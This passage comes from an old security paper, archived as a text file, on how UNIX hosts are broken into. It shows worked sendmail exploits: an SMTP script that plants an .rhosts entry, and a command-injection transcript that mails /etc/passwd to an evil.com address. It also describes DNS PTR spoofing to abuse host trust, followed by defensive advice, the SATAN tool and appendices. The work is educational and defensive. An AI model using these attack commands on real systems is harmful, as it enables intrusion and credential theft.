home *** CD-ROM | disk | FTP | other *** search
/ Mac OS 9 Serial Number Archive / SN Archive 2023.11.04.toast / Cracking Texts / Hackintosh Bible v1.4 / Hackintosh Bible v1.4.rsrc / TEXT_165.txt < prev    next >
Encoding:
Text File  |  1997-05-07  |  18.9 KB  |  431 lines

  1.  telnet victim.com 25 << EOSM
  2.  rcpt to: /home/zen/.rhosts
  3.  mail from: zen
  4.  data
  5.  random garbage
  6.  .
  7.  rcpt to: /home/zen/.rhosts
  8.  mail from: zen
  9.  data
  10.  evil.com
  11.  .
  12.  quit
  13.  EOSM
  14.  
  15.  evil % /bin/sh evil_sendmail
  16.  Trying 128.128.128.1
  17.  Connected to victim.com
  18.  Escape character is '^]'.
  19.  Connection closed by foreign host.
  20.  
  21.  evil % rlogin victim.com -l zen
  22.      Welcome to victim.com!
  23.  victim %
  24.  
  25. The second hole, fixed only recently, permitted anyone to specify
  26. arbitrary shell commands and/or pathnames for the sender and/or
  27. destination address.  Attempts to keep details secret were in vain, and
  28. extensive discussions in mailing lists and usenet news groups led to
  29. disclosure of how to exploit some versions of the bug.  As with many
  30. UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
  31. since they all share a common source code tree ancestry.  Space
  32. precludes us from discussing it fully, but a typical attack to get the
  33. password file might look like this:
  34.  
  35.  evil % telnet victim.com 25
  36.  Trying 128.128.128.1...
  37.  Connected to victim.com
  38.  Escape character is '^]'.
  39.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  40.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  41.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  42.  rcpt to: nosuchuser
  43.  550 nosuchuser... User unknown
  44.  data
  45.  354 Enter mail, end with "." on a line by itself
  46.  .
  47.  250 Mail accepted
  48.  quit
  49.  Connection closed by foreign host.
  50.  evil %
  51.  
  52. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  53. information on how to get this) is reportedly the only variant of
  54. sendmail with all of the recent security bugs fixed.
  55.  
  56. Trust
  57. -----
  58.  
  59. For our final topic of vulnerability, we'll digress from the practical
  60. strategy we've followed previously to go a bit more into the theoretical
  61. side, and briefly discuss the notion of trust.  The issues and
  62. implications of vulnerabilities here are a bit more subtle and
  63. far-reaching than what we've covered before; in the context of this
  64. paper we use the word trust whenever there is a situation when a server
  65. (note that any host that allows remote access can be called a server)
  66. can permit a local resource to be used by a client without password
  67. authentication when password authentication is normally required.  In
  68. other words, we arbitrarily limit the discussion to clients in disguise.
  69.  
  70. There are many ways that a host can trust: .rhosts and hosts.equiv files
  71. that allow access without password verification; window servers that
  72. allow remote systems to use and abuse privileges; export files that
  73. control access via NFS, and more.
  74.  
  75. Nearly all of these rely on client IP address to hostname conversion to
  76. determine whether or not service is to be granted.  The simplest method
  77. uses the /etc/hosts file for a direct lookup.  However, today most hosts
  78. use either DNS (the Domain Name Service), NIS, or both for name lookup
  79. service.  A reverse lookup occurs when a server has an IP address (from
  80. a client host connecting to it) and wishes to get the corresponding
  81. client hostname.
  82.  
  83. Although the concept of how host trust works is well understood by most
  84. system administrators, the _dangers_ of trust, and the _practical_
  85. problem it represents, irrespective of hostname impersonation, is one of
  86. the least understood problems we know of on the Internet.  This goes far
  87. beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
  88. systems -- indeed, much of the useful services in UNIX are based on the
  89. concept that well known (to an administrator or user) sites are trusted
  90. in some way.  What is not understood is how networking so tightly binds
  91. security between what are normally considered disjoint hosts.
  92.  
  93. Any form of trust can be spoofed, fooled, or subverted, especially when
  94. the authority that gets queried to check the credentials of the client
  95. is either outside of the server's administrative domain, or when the
  96. trust mechanism is based on something that has a weak form of
  97. authentication; both are usually the case.
  98.  
  99. Obviously, if the host containing the database (either NIS, DNS, or
  100. whatever) has been compromised, the intruder can convince the target
  101. host that s/he is coming from any trusted host; it is now sufficient to
  102. find out which hosts are trusted by the target.  This task is often
  103. greatly helped by examining where system administrators and system
  104. accounts (such as root, etc.) last logged in from.  Going back to our
  105. target, victim.com, you note that root and some other system accounts
  106. logged in from big.victim.com. You change the PTR record for evil.com so
  107. that when you attempt to rlogin in from evil.com to victim.com,
  108. victim.com will attempt to look up your hostname and will find what you
  109. placed in the record.  If the record in the DNS database looks like:
  110.  
  111.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  112.  
  113. And you change it to:
  114.  
  115.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  116.  
  117. then, depending on how naive victim.com's system software is, victim.com
  118. will believe the login comes from big.victim.com, and, assuming that
  119. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  120. able to login without supplying a password.  With NIS, it is a simple
  121. matter of either editing the host database on the NIS master (if this is
  122. controlled by the intruder) or of spoofing or forcing NIS (see
  123. discussion on NIS security above) to supply the target with whatever
  124. information you desire.  Although more complex, interesting, and
  125. damaging attacks can be mounted via DNS, time and space don't allow
  126. coverage of these methods here.
  127.  
  128. Two methods can be used to prevent such attacks.  The first is the most
  129. direct, but perhaps the most impractical.  If your site doesn't use any
  130. trust, you won't be as vulnerable to host spoofing.  The other strategy
  131. is to use cryptographic protocols.  Using the secure RPC protocol (used
  132. in secure NFS, NIS+, etc.) is one method; although it has been "broken"
  133. cryptographically, it still provides better assurance than RPC
  134. authentication schemes that do not use any form of encryption.  Other
  135. solutions, both hardware (smartcards) and software (Kerberos), are being
  136. developed, but they are either incomplete or require changes to system
  137. software.
  138.  
  139. Appendix B details the results of an informal survey taken from a
  140. variety of hosts on the Internet.
  141.  
  142. Protecting the system
  143. ---------------------
  144.  
  145. It is our hope that we have demonstrated that even some of the most
  146. seemingly innocuous services run can offer (sometimes unexpectedly)
  147. ammunition to determined system crackers.  But, of course, if security
  148. were all that mattered, computers would never be turned on, let alone
  149. hooked into a network with literally millions of potential intruders.
  150. Rather than reiterating specific advice on what to switch on or off, we
  151. instead offer some general suggestions:
  152.  
  153. o  If you cannot turn off the finger service, consider installing a
  154. modified finger daemon.  It is rarely necessary to reveal a user's home
  155. directory and the source of last login.
  156.  
  157. o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
  158. as possible.
  159.  
  160. o  Never export NFS filesystems unrestricted to the world. Try to
  161. export file systems read-only where possible.
  162.  
  163. o  Fortify and protect servers (e.g. hosts that provide a service to
  164. other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
  165. accounts on these hosts.
  166.  
  167. o  Examine carefully services offered by inetd and the portmapper.
  168. Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
  169. wrappers, if for no other reason than to log the sources of connections
  170. to your host.  This adds immeasurably to the standard UNIX auditing
  171. features, especially with respect to network attacks.  If possible, use
  172. the loghost mechanism of syslog to collect security-related information
  173. on a secure host.
  174.  
  175. o  Eliminate trust unless there is an absolute need for it.  Trust is
  176. your enemy.
  177.  
  178. o  Use shadow passwords and a passwd command that disallows poor
  179. passwords.  Disable or delete unused/dormant system or user accounts.
  180.  
  181. o  Keep abreast of current literature (see our suggested reading list and
  182. bibliography at the end of this paper) and security tools; communicate
  183. to others about security problems and incidents.  At minimum, subscribe
  184. to the CERT mailing list and phrack magazine (plus the firewalls mailing
  185. list, if your site is using or thinking about installing a firewall) and
  186. read the usenet security newsgroups to get the latest information on
  187. security problems.  Ignorance is the deadliest security problem we are
  188. aware of.
  189.  
  190. o  Install all vendor security patches as soon as possible, on all of
  191. your hosts.  Examine security patch information for other vendors - many
  192. bugs (rdist, sendmail) are common to many UNIX variants.
  193.  
  194. It is interesting to note that common solutions to security problems
  195. such as running Kerberos or using one-time passwords or digital tokens
  196. are ineffective against most of the attacks we discuss here.  We
  197. heartily recommend the use of such systems, but be aware that they are
  198. _not_ a total security solution -- they are part of a larger struggle to
  199. defend your system.
  200.  
  201. Conclusions
  202. -----------
  203.  
  204. Perhaps none of the methods shown here are surprising; when writing this
  205. paper, we didn't learn very much about how to break into systems.  What
  206. we _did_ learn was, while testing these methods out on our own systems
  207. and that of friendly sites, just how effective this set of methods is
  208. for gaining access to a typical (UNIX) Internet host.  Tiring of trying
  209. to type these in all by hand, and desiring to keep our own systems more
  210. secure, we decided to implement a security tool (SATAN) that attempts to
  211. check remote hosts for at least some of the problems discussed here.
  212. The typical response, when telling people about our paper and our tool
  213. was something on the order of "that sounds pretty dangerous -- I hope
  214. you're not going to give it out to everybody.  But you since you can
  215. trust me, may I have a copy of it?"
  216.  
  217. We never set out to create a cookbook or toolkit of methods and programs
  218. on how to break into systems -- instead, we saw that these same methods
  219. were being used, every day, against ourselves and against friendly
  220. system administrators.  We believe that by propagating information that
  221. normally wasn't available to those outside of the underworld, we can
  222. increase security by raising awareness.  Trying to restrict access to
  223. "dangerous" security information has never seemed to be a very effective
  224. method for increasing security; indeed, the opposite appears to be the
  225. case, since the system crackers have shown little reticence to share
  226. their information with each other.
  227.  
  228. While it is almost certain that some of the information presented here
  229. is new material to (aspiring) system crackers, and that some will use it
  230. to gain unauthorized entrance onto hosts, the evidence presented even by
  231. our ad hoc tests shows that there is a much larger number of insecure
  232. sites, simply because the system administrators don't know any better --
  233. they aren't stupid or slow, they simply are unable to spend the very
  234. little free time that they have to explore all of the security issues
  235. that pertain to their systems.  Combine that with no easy access to this
  236. sort of information and you have poorly defended systems.  We (modestly)
  237. hope that this paper will provide badly-needed data on how systems are
  238. broken into, and further, to explain _why_ certain steps should be taken
  239. to secure a system.  Knowing why something is a problem is, in our
  240. opinion, the real key to learning and to making an informed, intelligent
  241. choice as to what security really means for your site.
  242.  
  243. ----
  244.  
  245. Appendix A:
  246.  
  247. SATAN (Security Analysis Tool for Auditing Networks)
  248.  
  249. Originally conceived some years ago, SATAN is actually the prototype of
  250. a much larger and more comprehensive vision of a security tool.  In its
  251. current incarnation, SATAN remotely probes and reports various bugs and
  252. weaknesses in network services and windowing systems, as well as
  253. detailing as much generally useful information as possible about the
  254. target(s).  It then processes the data with a crude filter and what
  255. might be termed an expert system to generate the final security
  256. analysis.  While not particularly fast, it is extremely modular and easy
  257. to modify.
  258.  
  259. SATAN consists of several sub-programs, each of which is an executable
  260. file (perl, shell, compiled C binary, whatever) that tests a host for a
  261. given potential weakness.  Adding further test programs is as simple as
  262. putting an executable into the main directory with the extension ".sat";
  263. the driver program will automatically execute it.  The driver generates
  264. a set of targets (using DNS and a fast version of ping together to get
  265. "live" targets), and then executes each of the programs over each of the
  266. targets.  A data filtering/interpreting program then analyzes the
  267. output, and lastly a reporting program digests everything into a more
  268. readable format.
  269.  
  270. The entire package, including source code and documentation, will be
  271. made freely available to the public, via anonymous ftp and by posting it
  272. to one of the numerous source code groups on the Usenet.
  273.  
  274. ----
  275.  
  276. Appendix B:
  277.  
  278. An informal survey conducted on about a dozen Internet sites
  279. (educational, military, and commercial, with over 200 hosts and 40000
  280. accounts) revealed that on the average, close to 10 percent of a site's
  281. accounts had .rhosts files.  These files averaged six trusted hosts
  282. each; however, it was not uncommon to have well over one hundred entries
  283. in an account's .rhosts file, and on a few occasions, the number was
  284. over five hundred!  (This is not a record one should be proud of
  285. owning.)  In addition, _every_ site directly on the internet (one site
  286. was mostly behind a firewall) trusted a user or host at another site --
  287. thus, the security of the site was not under the system administrators
  288. direct control.  The larger sites, with more users and hosts, had a
  289. lower percentage of users with .rhosts files, but the size of .rhosts
  290. files increased, as well as the number of trusted off-site hosts.
  291.  
  292. Although it was very difficult to verify how many of the entries were
  293. valid, with such hostnames such as "Makefile", "Message-Id:", and
  294. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  295. question the wisdom of putting a site's security in the hands of its
  296. users.  Many users (especially the ones with larger .rhosts files)
  297. attempted to put shell-style comments in their .rhosts files, which most
  298. UNIX systems attempt to resolve as valid host names.  Unfortunately, an
  299. attacker can then use the DNS and NIS hostname spoofing techniques
  300. discussed earlier to set their hostname to "#" and freely log in.  This
  301. puts a great many sites at risk (at least one major vendor ships their
  302. systems with comments in their /etc/hosts.equiv files.)
  303.  
  304. You might think that these sites were not typical, and, as a matter of
  305. fact, they weren't.  Virtually all of the administrators knew a great
  306. deal about security and write security programs for a hobby or
  307. profession, and many of the sites that they worked for did either
  308. security research or created security products.  We can only guess at
  309. what a "typical" site might look like.
  310.  
  311. ----
  312.  
  313. Appendix C:
  314.  
  315. After receiving mail from a site that had been broken into from one of
  316. our systems, an investigation was started.  In time, we found that the
  317. intruder was working from a list of ".com" (commercial) sites, looking
  318. for hosts with easy-to steal password files.  In this case,
  319. "easy-to-steal" referred to sites with a guessable NIS domainname and an
  320. accessible NIS server.  Not knowing how far the intruder had gotten, it
  321. looked like a good idea to warn the sites that were in fact vulnerable
  322. to password file theft.  Of the 656 hosts in the intruder's hit list, 24
  323. had easy-to-steal password files -- about one in twenty-five hosts!  One
  324. third of these files contained at least one password-less account with
  325. an interactive shell.  With a grand total of 1594 password-file entries,
  326. a ten-minute run of a publically-available password cracker (Crack)
  327. revealed more than 50 passwords, using nothing but a low-end Sun
  328. workstation.  Another 40 passwords were found within the next 20
  329. minutes; and a root password was found in just over an hour. The result
  330. after a few days of cracking: five root passwords found, 19 out of 24
  331. password files (eighty percent) with at least one known password, and
  332. 259 of 1594 (one in six) passwords guessed.
  333.  
  334. ----
  335.  
  336. Appendix D:
  337.  
  338. How to get some free security resources on the Internet
  339.  
  340. Mailing lists:
  341.  
  342. o  The CERT (Computer Emergency Response Team) advisory mailing list.
  343. Send e-mail to cert@cert.org, and ask to be placed on their mailing
  344. list.
  345.  
  346. o  The Phrack newsletter.  Send an e-mail message to
  347. phrack@well.sf.ca.us and ask to be added to the list.
  348.  
  349. o  The Firewalls mailing list.  Send the following line to
  350. majordomo@greatcircle.com:
  351.  
  352.     subscribe firewalls
  353.  
  354. o  Computer Underground Digest.  Send e-mail to
  355. tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
  356.  
  357. Free Software:
  358.  
  359. COPS (Computer Oracle and Password System) is available via anonymous
  360. ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
  361.  
  362. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
  363. in pub/security.
  364.  
  365. Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
  366.  
  367. TAMU is a UNIX auditing tool that is part of a larger suite of excellent
  368. tools put out by a group at the Texas A&M University.  They can be
  369. gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
  370.  
  371. Sources for ftpd and many other network utilities can be found in
  372. ftp.uu.net, in packages/bsd-sources.
  373.  
  374. Source for ISS (Internet Security Scanner), a tool that remotely scans
  375. for various network vulnerabilities, is available via anonymous ftp from
  376. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  377.  
  378. Securelib is available via anonymous ftp from ftp.uu.net, in
  379. usenet/comp.sources.misc/volume36/securelib.
  380.  
  381. The latest version of berkeley sendmail is available via anonymous ftp
  382. from ftp.cs.berkeley.edu, in ucb/sendmail.
  383.  
  384. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
  385. ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
  386.  
  387. ----
  388.  
  389. Bibliography:
  390.  
  391. Baldwin, Robert W., Rule Based Analysis of Computer Security,
  392. Massachusetts Institute of Technology, June 1987.
  393.  
  394. Bellovin, Steve, Using the Domain Name System for System Break-ins,
  395. 1992 (unpublished).
  396.  
  397. Massachusetts Institute of Technology, X Window System Protocol,
  398. Version 11, 1990.
  399.  
  400. Shimomura, Tsutomu, private communication.
  401.  
  402. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  403.  
  404. ----
  405.  
  406. Suggested reading:
  407.  
  408. Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", 
  409. Computer Communication Review 19 (2), 1989; a comment by Stephen
  410. Kent appears in volume 19 (3), 1989.
  411.  
  412. Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
  413. O'Reilly and Associates, Inc., 1992.
  414.  
  415. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
  416. Study: Network Information Service", Computer Communication Review
  417. 22 (5) 1992.
  418.  
  419. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
  420. Four, Issue Forty-Three, File 14 of 27.
  421.  
  422. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
  423. 1993.
  424.  
  425. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
  426. Protocal", Purdue University, August 1993.
  427.  
  428. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
  429. 27 (8), 1984.
  430.  
  431.